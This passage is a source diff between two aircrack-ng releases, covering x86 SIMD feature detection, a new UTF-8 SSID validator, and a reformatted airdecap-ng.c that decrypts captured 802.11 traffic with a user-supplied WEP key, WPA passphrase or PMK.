+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+#if defined(__i386__) || defined(__x86_64__)
+#define _X86
+#include <cpuid.h>
+#else
+#error "The wrong CPU architecture file has been included."
+#endif
+
+#include "trampoline.h"
+
+void simd_init(void) {}
+
+void simd_destroy(void) {}
+
+int simd_get_supported_features(void)
+{
+	int result = 0;
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, 0);
+
+	__cpuid(0, eax, ebx, ecx, edx);
+
+	if (eax >= 1)
+	{
+		__cpuid(1, eax, ebx, ecx, edx);
+	}
+
+	if (edx & (1 << 23))
+	{
+		result |= SIMD_SUPPORTS_MMX;
+	}
+
+	if (edx & (1 << 26))
+	{
+		result |= SIMD_SUPPORTS_SSE2;
+	}
+
+	if (ecx & (1 << 28))
+	{
+		result |= SIMD_SUPPORTS_AVX;
+	}
+
+	if (max_level >= 7)
+	{
+		__cpuid_count(7, 0, eax, ebx, ecx, edx);
+
+		if (ebx & (1 << 16))
+		{
+			result |= SIMD_SUPPORTS_AVX512F;
+		}
+
+		if (ebx & (1 << 5))
+		{
+			result |= SIMD_SUPPORTS_AVX2;
+		}
+	}
+
+	return (result);
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/verifyssid.c Added

@@ -0,0 +1,84 @@
+/*
+ *  VerifySSID function (UTF-8 supported)
+ *
+ *  Copyright (C) 2018 ZhaoChunsheng
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#include "verifyssid.h"
+
+int verifyssid(const unsigned char * s)
+{
+	int i;
+	unsigned char c;
+
+	if (!s || strlen((const char *) s) > 32)
+	{ // 32 characters
+		return 0;
+	}
+
+	for (i = 0; (c = s[i++]);)
+	{
+		if ((c & 0x80) == 0)
+		{ // ascii flag
+			if (c < 0x20 || c == 0x7f)
+			{
+				return 0;
+			}
+		}
+		else if ((c & 0xe0) == 0xc0)
+		{ // utf8 flag
+			if ((s[i++] & 0xc0) != 0x80)
+			{
+				return 0;
+			}
+		}
+		else if ((c & 0xf0) == 0xe0)
+		{ // utf8 flag
+			if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80)
+			{
+				return 0;
+			}
+		}
+		else if ((c & 0xf8) == 0xf0)
+		{ // utf8 flag
+			if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80
+				|| (s[i++] & 0xc0) != 0x80)
+			{
+				return 0;
+			}
+		}
+		else
+		{
+			return 0;
+		}
+	}
+	return 1;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/verifyssid.h Added

aircrack-ng-1.2-rc4.tar.gz/src/airdecap-ng.c -> aircrack-ng-1.4.tar.gz/src/airdecap-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  802.11 to Ethernet pcap translator
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005  Christophe Devine
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -16,7 +16,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -43,1027 +43,1056 @@
 #include "version.h"
 #include "crypto.h"
 #include "pcap.h"
-#include "osdep/byteorder.h"
-#include "common.h"
+#include "aircrack-osdep/byteorder.h"
+#include "aircrack-util/avl_tree.h"
+#include "aircrack-util/common.h"
+#include "aircrack-util/console.h"
 
 #define CRYPT_NONE 0
-#define CRYPT_WEP  1
-#define CRYPT_WPA  2
-
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern int check_crc_buf( unsigned char *buf, int len );
-extern int calc_crc_buf( unsigned char *buf, int len );
+#define CRYPT_WEP 1
+#define CRYPT_WPA 2
 
 char usage[] =
 
-"\n"
-"  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: airdecap-ng [options] <pcap file>\n"
-"\n"
-"  Common options:\n"
-"      -l         : don't remove the 802.11 header\n"
-"      -b <bssid> : access point MAC address filter\n"
-"      -e <essid> : target network SSID\n"
-"      -o <fname> : output file for decrypted packets (default <src>-dec)\n"
-"\n"
-"  WEP specific option:\n"
-"      -w <key>   : target network WEP key in hex\n"
-"      -c <fname> : output file for corrupted WEP packets (default <src>-bad)\n"
-"\n"
-"  WPA specific options:\n"
-"      -p <pass>  : target network WPA passphrase\n"
-"      -k <pmk>   : WPA Pairwise Master Key in hex\n"
-"\n"
-"      --help     : Displays this usage screen\n"
-"\n";
-
+	"\n"
+	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: airdecap-ng [options] <pcap file>\n"
+	"\n"
+	"  Common options:\n"
+	"      -l         : don't remove the 802.11 header\n"
+	"      -b <bssid> : access point MAC address filter\n"
+	"      -e <essid> : target network SSID\n"
+	"      -o <fname> : output file for decrypted packets (default <src>-dec)\n"
+	"\n"
+	"  WEP specific option:\n"
+	"      -w <key>   : target network WEP key in hex\n"
+	"      -c <fname> : output file for corrupted WEP packets (default "
+	"<src>-bad)\n"
+	"\n"
+	"  WPA specific options:\n"
+	"      -p <pass>  : target network WPA passphrase\n"
+	"      -k <pmk>   : WPA Pairwise Master Key in hex\n"
+	"\n"
+	"      --help     : Displays this usage screen\n"
+	"\n";
 
 struct decap_stats
 {
-    unsigned long nb_read;      /* # of packets read       */
-    unsigned long nb_wep;       /* # of WEP data packets   */
-    unsigned long nb_bad;       /* # of bad data packets   */
-    unsigned long nb_wpa;       /* # of WPA data packets   */
-    unsigned long nb_plain;     /* # of plaintext packets  */
-    unsigned long nb_unwep;     /* # of decrypted WEP pkt  */
-    unsigned long nb_unwpa;     /* # of decrypted WPA pkt  */
-}
-stats;
+	unsigned long nb_stations; /* # of stations seen */
+	unsigned long nb_read; /* # of packets read       */
+	unsigned long nb_wep; /* # of WEP data packets   */
+	unsigned long nb_bad; /* # of bad data packets   */
+	unsigned long nb_wpa; /* # of WPA data packets   */
+	unsigned long nb_plain; /* # of plaintext packets  */
+	unsigned long nb_unwep; /* # of decrypted WEP pkt  */
+	unsigned long nb_unwpa; /* # of decrypted WPA pkt  */
+	unsigned long nb_failed_tkip; /* # of failed WPA TKIP pkt decryptions */
+	unsigned long nb_failed_ccmp; /* # of failed WPA CCMP pkt decryptions */
+} stats;
 
 struct options
 {
-    int no_convert;
-    char essid[36];
-    char passphrase[65];
-    unsigned char bssid[6];
-    unsigned char pmk[40];
-    unsigned char wepkey[64];
-    int weplen, crypt;
-    int store_bad;
-    char decrypted_fpath[65536];
-    char corrupted_fpath[65536];
-}
-opt;
+	int no_convert;
+	char essid[36];
+	char passphrase[65];
+	unsigned char bssid[6];
+	unsigned char pmk[40];
+	unsigned char wepkey[64];
+	int weplen, crypt;
+	int store_bad;
+	char decrypted_fpath[65536];
+	char corrupted_fpath[65536];
+} opt;
 
 unsigned char buffer[65536];
 unsigned char buffer2[65536];
 
 /* this routine handles to 802.11 to Ethernet translation */
 
-int write_packet( FILE *f_out, struct pcap_pkthdr *pkh, unsigned char *h80211 )
+static int
+write_packet(FILE * f_out, struct pcap_pkthdr * pkh, unsigned char * h80211)
 {
-    int n;
-    unsigned char arphdr[12];
-    int qosh_offset = 0;
-
-    if( opt.no_convert )
-    {
-        if( buffer != h80211 )
-            memcpy( buffer, h80211, pkh->caplen );
-    }
-    else
-    {
-        /* create the Ethernet link layer (MAC dst+src) */
+	int n;
+	unsigned char arphdr[12];
+	int qosh_offset = 0;
+
+	if (opt.no_convert)
+	{
+		if (buffer != h80211) memcpy(buffer, h80211, pkh->caplen);
+	}
+	else
+	{
+		/* create the Ethernet link layer (MAC dst+src) */
+
+		switch (h80211[1] & 3)
+		{
+			case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */
 
-        switch( h80211[1] & 3 )
-        {
-            case  0:    /* To DS = 0, From DS = 0: DA, SA, BSSID */
+				memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
+				break;
 
-                memcpy( arphdr + 0, h80211 +  4, 6 );
-                memcpy( arphdr + 6, h80211 + 10, 6 );
-                break;
+			case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */
 
-            case  1:    /* To DS = 1, From DS = 0: BSSID, SA, DA */
+				memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
+				break;
 
-                memcpy( arphdr + 0, h80211 + 16, 6 );
-                memcpy( arphdr + 6, h80211 + 10, 6 );
-                break;
+			case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */
 
-            case  2:    /* To DS = 0, From DS = 1: DA, BSSID, SA */
+				memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 16, sizeof(arphdr) / 2);
+				break;
 
-                memcpy( arphdr + 0, h80211 +  4, 6 );
-                memcpy( arphdr + 6, h80211 + 16, 6 );
-                break;
+			default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */
 
-            default:    /* To DS = 1, From DS = 1: RA, TA, DA, SA */
+				memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
+				memcpy(arphdr + 6, h80211 + 24, sizeof(arphdr) / 2);
+				break;
+		}
 
-                memcpy( arphdr + 0, h80211 + 16, 6 );
-                memcpy( arphdr + 6, h80211 + 24, 6 );
-                break;
-        }
+		/* check QoS header */
+		if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+		{
+			qosh_offset += 2;
+		}
 
-        /* check QoS header */
-        if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) {
-            qosh_offset += 2;
-        }
+		/* remove the 802.11 + LLC header */
 
-        /* remove the 802.11 + LLC header */
+		if ((h80211[1] & 3) != 3)
+		{
+			pkh->len -= 24 + qosh_offset + 6;
+			pkh->caplen -= 24 + qosh_offset + 6;
 
-        if( ( h80211[1] & 3 ) != 3 )
-        {
-            pkh->len    -= 24 + qosh_offset + 6;
-            pkh->caplen -= 24 + qosh_offset + 6;
+			/* can overlap */
+			memmove(buffer + 12, h80211 + qosh_offset + 30, pkh->caplen);
+		}
+		else
+		{
+			pkh->len -= 30 + qosh_offset + 6;
+			pkh->caplen -= 30 + qosh_offset + 6;
 
-            /* can overlap */
-            memmove( buffer + 12, h80211 + qosh_offset + 30, pkh->caplen );
-        }
-        else
-        {
-            pkh->len    -= 30 + qosh_offset + 6;
-            pkh->caplen -= 30 + qosh_offset + 6;
+			memmove(buffer + 12, h80211 + qosh_offset + 36, pkh->caplen);
+		}
 
-            memmove( buffer + 12, h80211 + qosh_offset + 36, pkh->caplen );
-        }
+		memcpy(buffer, arphdr, 12);
 
-        memcpy( buffer, arphdr, 12 );
+		pkh->len += 12;
+		pkh->caplen += 12;
+	}
 
-        pkh->len    += 12;
-        pkh->caplen += 12;
-    }
+	n = sizeof(struct pcap_pkthdr);
 
-    n = sizeof( struct pcap_pkthdr );
+	if (fwrite(pkh, 1, n, f_out) != (size_t) n)
+	{
+		perror("fwrite(packet header) failed");
+		return (1);
+	}
 
-    if( fwrite( pkh, 1, n, f_out ) != (size_t) n )
-    {
-        perror( "fwrite(packet header) failed" );
-        return( 1 );
-    }
+	n = pkh->caplen;
 
-    n = pkh->caplen;
+	if (fwrite(buffer, 1, n, f_out) != (size_t) n)
+	{
+		perror("fwrite(packet data) failed");
+		return (1);
+	}
 
-    if( fwrite( buffer, 1, n, f_out ) != (size_t) n )
-    {
-        perror( "fwrite(packet data) failed" );
-        return( 1 );
-    }
+	return (0);
+}
 
-    return( 0 );
+static int station_compare(const void * a, const void * b)
+{
+	return memcmp(a, b, 6);
 }
 
-int main( int argc, char *argv[] )
+int main(int argc, char * argv[])
 {
-    time_t tt;
-    unsigned magic;
-    char *s, buf[128];
-    FILE *f_in, *f_out, *f_bad=NULL;
-    unsigned long crc;
-    int i = 0, n, linktype;
-    unsigned z;
-    unsigned char ZERO[32], *h80211;
-    unsigned char bssid[6], stmac[6];
+	time_t tt;
+	unsigned magic;
+	char *s, buf[128];
+	FILE *f_in, *f_out, *f_bad = NULL;
+	unsigned long crc;
+	int i = 0, n, linktype;
+	unsigned z;
+	unsigned char * h80211;
+	unsigned char bssid[6], stmac[6];
+
+	c_avl_tree_t * stations = c_avl_create(station_compare);
+	struct WPA_ST_info * st_cur;
+	struct pcap_file_header pfh;
+	struct pcap_pkthdr pkh;
+
+#ifdef USE_GCRYPT
+	// Disable secure memory.
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
+	// Tell Libgcrypt that initialization has completed.
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
+#endif
+
+	/* parse the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+
+	while (1)
+	{
+		int option_index = 0;
+
+		static struct option long_options[] = {{"bssid", 1, 0, 'b'},
+											   {"debug", 1, 0, 'd'},
+											   {"help", 0, 0, 'H'},
+											   {0, 0, 0, 0}};
+
+		int option = getopt_long(
+			argc, argv, "lb:k:e:o:p:w:c:H", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case ':':
 
-    struct WPA_ST_info *st_1st;
-    struct WPA_ST_info *st_cur;
-    struct WPA_ST_info *st_prv;
-    struct pcap_file_header pfh;
-    struct pcap_pkthdr pkh;
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
 
-    #ifdef USE_GCRYPT
-        // Disable secure memory.
-        gcry_control (GCRYCTL_DISABLE_SECMEM, 0);
-        // Tell Libgcrypt that initialization has completed.
-        gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);
-    #endif
+			case '?':
 
-    /* parse the arguments */
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
 
-    memset( ZERO, 0, sizeof( ZERO ) );
-    memset( &opt, 0, sizeof( opt  ) );
+			case 'l':
 
-    while( 1 )
-    {
-        int option_index = 0;
+				opt.no_convert = 1;
+				break;
 
-        static struct option long_options[] = {
-            {"bssid",   1, 0, 'b'},
-            {"debug",   1, 0, 'd'},
-            {"help",    0, 0, 'H'},
-            {0,         0, 0,  0 }
-        };
+			case 'b':
 
-        int option = getopt_long( argc, argv, "lb:k:e:o:p:w:c:H",
-                        long_options, &option_index );
+				i = 0;
+				s = optarg;
 
-        if( option < 0 ) break;
+				while (sscanf(s, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid BSSID (not a MAC).\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
 
-        switch( option )
-        {
-        	case ':' :
+					opt.bssid[i] = n;
 
-	    		printf("\"%s --help\" for help.\n", argv[0]);
-        		return( 1 );
+					if (++i >= 6) break;
 
-        	case '?' :
+					if (!(s = strchr(s, ':'))) break;
 
-	    		printf("\"%s --help\" for help.\n", argv[0]);
-        		return( 1 );
+					s++;
+				}
 
-            case 'l' :
+				if (i != 6)
+				{
+					printf("Invalid BSSID (not a MAC).\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                opt.no_convert = 1;
-                break;
+				break;
 
-            case 'b' :
+			case 'k':
 
-                i = 0;
-                s = optarg;
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                while( sscanf( s, "%x", &n ) == 1 )
-                {
-                    if( n < 0 || n > 255 )
-                    {
-                        printf( "Invalid BSSID (not a MAC).\n" );
-			    		printf("\"%s --help\" for help.\n", argv[0]);
-                        return( 1 );
-                    }
+				opt.crypt = CRYPT_WPA;
 
-                    opt.bssid[i] = n;
+				i = 0;
+				s = optarg;
 
-                    if( ++i >= 6 ) break;
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid WPA PMK.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
 
-                    if( ! ( s = strchr( s, ':' ) ) )
-                        break;
+					opt.pmk[i++] = n;
+					if (i >= 32) break;
 
-                    s++;
-                }
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
 
-                if( i != 6 )
-                {
-                    printf( "Invalid BSSID (not a MAC).\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (i != 32)
+				{
+					printf("Invalid WPA PMK.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                break;
+				break;
 
-            case 'k' :
+			case 'e':
 
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (opt.essid[0])
+				{
+					printf("ESSID already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                opt.crypt = CRYPT_WPA;
+				memset(opt.essid, 0, sizeof(opt.essid));
+				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
+				break;
 
-                i = 0;
-                s = optarg;
+			case 'o':
 
-                buf[0] = s[0];
-                buf[1] = s[1];
-                buf[2] = '\0';
+				if (opt.decrypted_fpath[0])
+				{
+					printf(
+						"filename for decrypted packets already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                while( sscanf( buf, "%x", &n ) == 1 )
-                {
-                    if( n < 0 || n > 255 )
-                    {
-                        printf( "Invalid WPA PMK.\n" );
-                        printf("\"%s --help\" for help.\n", argv[0]);
-                        return( 1 );
-                    }
+				strncpy(opt.decrypted_fpath,
+						optarg,
+						sizeof(opt.decrypted_fpath) - 1);
+				break;
 
-                    opt.pmk[i++] = n;
-                    if( i >= 32 ) break;
+			case 'c':
 
-                    s += 2;
+				if (opt.corrupted_fpath[0])
+				{
+					printf(
+						"filename for corrupted packets already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                    if( s[0] == ':' || s[0] == '-' )
-                        s++;
+				strncpy(opt.corrupted_fpath,
+						optarg,
+						sizeof(opt.corrupted_fpath) - 1);
+				break;
 
-                    if( s[0] == '\0' || s[1] == '\0' )
-                        break;
+			case 'p':
 
-                    buf[0] = s[0];
-                    buf[1] = s[1];
-                }
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                if( i != 32 )
-                {
-                    printf( "Invalid WPA PMK.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				opt.crypt = CRYPT_WPA;
 
-                break;
+				memset(opt.passphrase, 0, sizeof(opt.passphrase));
+				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
+				break;
 
-            case 'e' :
+			case 'w':
 
-				if ( opt.essid[0])
+				if (opt.crypt != CRYPT_NONE)
 				{
-					printf( "ESSID already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
 				}
 
-                memset(  opt.essid, 0, sizeof( opt.essid ) );
-                strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 );
-                break;
+				opt.crypt = CRYPT_WEP;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid WEP key.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
+
+					opt.wepkey[i++] = n;
 
-            case 'o' :
+					if (i >= 64) break;
 
-                if ( opt.decrypted_fpath[0])
-                {
-                    printf( "filename for decrypted packets already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+					s += 2;
 
-                strncpy( opt.decrypted_fpath, optarg, sizeof( opt.decrypted_fpath ) - 1 );
-                break;
+					if (s[0] == ':' || s[0] == '-') s++;
 
-            case 'c' :
+					if (s[0] == '\0' || s[1] == '\0') break;
 
-                if ( opt.corrupted_fpath[0])
-                {
-                    printf( "filename for corrupted packets already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
 
-                strncpy( opt.corrupted_fpath, optarg, sizeof( opt.corrupted_fpath ) - 1 );
-                break;
-
-            case 'p' :
+				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
+				{
+					printf("Invalid WEP key length. [5,13,16,29,61]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.crypt = CRYPT_WPA;
-
-                memset(  opt.passphrase, 0, sizeof( opt.passphrase ) );
-                strncpy( opt.passphrase, optarg, sizeof( opt.passphrase ) - 1 );
-                break;
-
-            case 'w' :
-
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.crypt = CRYPT_WEP;
-
-                i = 0;
-                s = optarg;
-
-                buf[0] = s[0];
-                buf[1] = s[1];
-                buf[2] = '\0';
-
-                while( sscanf( buf, "%x", &n ) == 1 )
-                {
-                    if( n < 0 || n > 255 )
-                    {
-                        printf( "Invalid WEP key.\n" );
-			    		printf("\"%s --help\" for help.\n", argv[0]);
-                        return( 1 );
-                    }
-
-                    opt.wepkey[i++] = n;
-
-                    if( i >= 64 ) break;
-
-                    s += 2;
-
-                    if( s[0] == ':' || s[0] == '-' )
-                        s++;
-
-                    if( s[0] == '\0' || s[1] == '\0' )
-                        break;
-
-                    buf[0] = s[0];
-                    buf[1] = s[1];
-                }
-
-                if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 )
-                {
-                    printf( "Invalid WEP key length. [5,13,16,29,61]\n" );
-		    		printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                opt.weplen = i;
-
-                break;
-
-            case 'H' :
-
-            	printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-            	return( 1 );
-
-            default : goto usage;
-        }
-    }
-
-    if( argc - optind != 1 )
-    {
-    	if(argc == 1)
-    	{
-usage:
-	        printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
-	    }
-		if( argc - optind == 0)
-	    {
-	    	printf("No file to decrypt specified.\n");
-	    }
-	    if(argc > 1)
-	    {
-    		printf("\"%s --help\" for help.\n", argv[0]);
-	    }
-        return( 1 );
-    }
-
-    if( opt.crypt == CRYPT_WPA )
-    {
-        if( opt.passphrase[0] != '\0' )
-        {
-            /* compute the Pairwise Master Key */
-
-            if( opt.essid[0] == '\0' )
-            {
-                printf( "You must also specify the ESSID (-e).\n" );
-	    		printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-            }
-
-            calc_pmk( opt.passphrase, opt.essid, opt.pmk );
-        }
-    }
-
-    /* open the input and output pcap files */
-
-    if( ( f_in = fopen( argv[optind], "rb" ) ) == NULL )
-    {
-        perror( "fopen failed\n" );
-        printf( "Could not open \"%s\".\n", argv[optind] );
-        return( 1 );
-    }
-
-    n = sizeof( pfh );
-
-    if( fread( &pfh, 1, n, f_in ) != (size_t) n )
-    {
-        perror( "fread(pcap file header) failed" );
-        return( 1 );
-    }
-
-    if( pfh.magic != TCPDUMP_MAGIC &&
-        pfh.magic != TCPDUMP_CIGAM )
-    {
-        printf( "\"%s\" isn't a pcap file (expected "
-                "TCPDUMP_MAGIC).\n", argv[optind] );
-        return( 1 );
-    }
-
-    if( ( magic = pfh.magic ) == TCPDUMP_CIGAM )
-        SWAP32( pfh.linktype );
-
-    if( pfh.linktype != LINKTYPE_IEEE802_11 &&
-        pfh.linktype != LINKTYPE_PRISM_HEADER &&
-        pfh.linktype != LINKTYPE_RADIOTAP_HDR &&
-		pfh.linktype != LINKTYPE_PPI_HDR )
-    {
-        printf( "\"%s\" isn't a regular 802.11 "
-                "(wireless) capture.\n", argv[optind] );
-        return( 1 );
-    }
-
-    linktype = pfh.linktype;
-
-    n = strlen( argv[optind] );
-
-    if( n > 4 && ( n + 5 < (int) sizeof( buffer ) ) &&
-        argv[optind][n - 4] == '.' )
-    {
-        memcpy( buffer , argv[optind], n - 4 );
-        memcpy( buffer2, argv[optind], n - 4 );
-        memcpy( buffer  + n - 4, "-dec", 4 );
-        memcpy( buffer2 + n - 4, "-bad", 4 );
-        memcpy( buffer  + n, argv[optind] + n - 4, 5 );
-        memcpy( buffer2 + n, argv[optind] + n - 4, 5 );
-    }
-    else
-    {
-        if( n > 5 && ( n + 6 < (int) sizeof( buffer ) ) &&
-            argv[optind][n - 5] == '.' )
-        {
-            memcpy( buffer , argv[optind], n - 5 );
-            memcpy( buffer2, argv[optind], n - 5 );
-            memcpy( buffer  + n - 5, "-dec", 4 );
-            memcpy( buffer2 + n - 5, "-bad", 4 );
-            memcpy( buffer  + n - 1, argv[optind] + n - 5, 6 );
-            memcpy( buffer2 + n - 1, argv[optind] + n - 5, 6 );
-        }
-        else
-        {
-            memset( buffer , 0, sizeof( buffer ) );
-            memset( buffer2, 0, sizeof( buffer ) );
-            snprintf( (char *) buffer , sizeof( buffer ) - 1,
-                      "%s-dec", argv[optind] );
-            snprintf( (char *) buffer2, sizeof( buffer ) - 1,
-                      "%s-bad", argv[optind] );
-        }
-    }
-
-    if( opt.crypt == CRYPT_WEP && opt.no_convert == 1 )
-    {
-        opt.store_bad=1;
-    }
-
-    /* Support manually-configured output files*/
-    if ( opt.decrypted_fpath[0])
-        f_out = fopen( opt.decrypted_fpath, "wb+");
-    else
-        f_out = fopen( (char *) buffer, "wb+");
-
-    if( f_out == NULL )
-    {
-        perror( "fopen failed" );
-        printf( "Could not create \"%s\".\n", buffer );
-        return( 1 );
-    }
-
-    if(opt.store_bad)
-    {
-        if ( opt.corrupted_fpath[0])
-            f_bad = fopen( opt.corrupted_fpath, "wb+" );
-        else
-            f_bad = fopen( (char *) buffer2, "wb+" );
-
-        if( f_bad == NULL )
-        {
-            perror( "fopen failed" );
-            printf( "Could not create \"%s\".\n", buffer2 );
-            return( 1 );
-        }
-    }
-
-    pfh.magic           = TCPDUMP_MAGIC;
-    pfh.version_major   = PCAP_VERSION_MAJOR;
-    pfh.version_minor   = PCAP_VERSION_MINOR;
-    pfh.thiszone        = 0;
-    pfh.sigfigs         = 0;
-    pfh.snaplen         = 65535;
-    pfh.linktype        = ( opt.no_convert ) ?
-                            LINKTYPE_IEEE802_11 :
-                            LINKTYPE_ETHERNET;
-
-    n = sizeof( pfh );
-
-    if( fwrite( &pfh, 1, n, f_out ) != (size_t) n )
-    {
-        perror( "fwrite(pcap file header) failed" );
-        return( 1 );
-    }
-
-    if(opt.store_bad)
-    {
-        if( fwrite( &pfh, 1, n, f_bad ) != (size_t) n )
-        {
-            perror( "fwrite(pcap file header) failed" );
-            return( 1 );
-        }
-    }
-
-    /* loop reading and deciphering the packets */
-
-    memset( &stats, 0, sizeof( stats ) );
-    tt = time( NULL );
-    st_1st = NULL;
-
-    while( 1 )
-    {
-        if( time( NULL ) - tt > 0 )
-        {
-            /* update the status line every second */
-
-            printf( "\33[KRead %ld packets...\r", stats.nb_read );
